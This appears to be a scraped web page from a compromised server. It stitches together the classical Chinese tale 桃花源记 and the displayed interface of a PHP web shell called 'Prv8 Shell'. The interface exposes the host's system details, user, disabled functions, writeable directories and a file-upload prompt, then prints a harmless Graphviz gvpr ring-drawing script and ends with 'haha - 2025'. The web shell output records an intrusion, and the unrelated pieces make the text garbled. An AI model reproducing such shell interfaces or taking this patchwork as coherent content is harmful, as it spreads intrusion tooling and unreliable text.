晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/graphviz/gvpr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/graphviz/gvpr/addrings
/* Takes a graph laid out by twopi and adds rings.
 * Assumes ARGV[] = "root" "=" <rootname>, as output by twopi -v.
 * Usage:
 *   twopi -v foo.dot > out 2> log
 *   gvpr -f addrings.g -a"`grep root log`" out | neato -n2 ...
 */
BEG_G {
  graph_t og;
  edge_t e;
  node_t ctr = node($, ARGV[0]);
  double rs = 1.0; /* min. slack between the squares of two consecutive radii */
  int cx, cy;
  int x, y;
  node_t n;
  int i, n_r;
  int d;
  int rads[int];
  char* ctr_s = ctr.pos;
  sscanf (ctr_s, "%d,%d", &cx, &cy);
  if (hasAttr($, "ranksep")) {
    sscanf ($.ranksep, "%f", &rs);
    if (rs == 0.0) rs = 1.0;
  }
  rs *= 72;
  rs = 1.5*rs*rs;
}
N [$ != ctr] {
  sscanf ($.pos, "%d,%d", &x, &y);
  d = (x-cx)*(x-cx) + (y-cy)*(y-cy);
  for (rads[i]) {
    if ((rads[i]-rs <= d) && (d <= rads[i]+rs)) return;
  }
  n_r++;
  rads[n_r] = d;
}
END_G {
  og = copy (NULL, $);
  og.outputorder = "nodesfirst";
  setDflt (og, "N", "label", "\\N");
  for (rads[i]) {
    n = node(og, "ring_"+((string)i));
    n.shape = "circle";
    n.pos = ctr_s;
    n.style = "";
    n.label = "";
    d = rads[i];
    n.width = sprintf("%f", sqrt(d)/36.0);
  }
  for (n=fstnode($);n;n = nxtnode(n))
    clone (og, n);
  for (n=fstnode($);n;n = nxtnode(n))
    for (e=fstedge(n);e;e = nxtedge(e,n))
      clone (og, e);
  write(og);
  
}

haha - 2025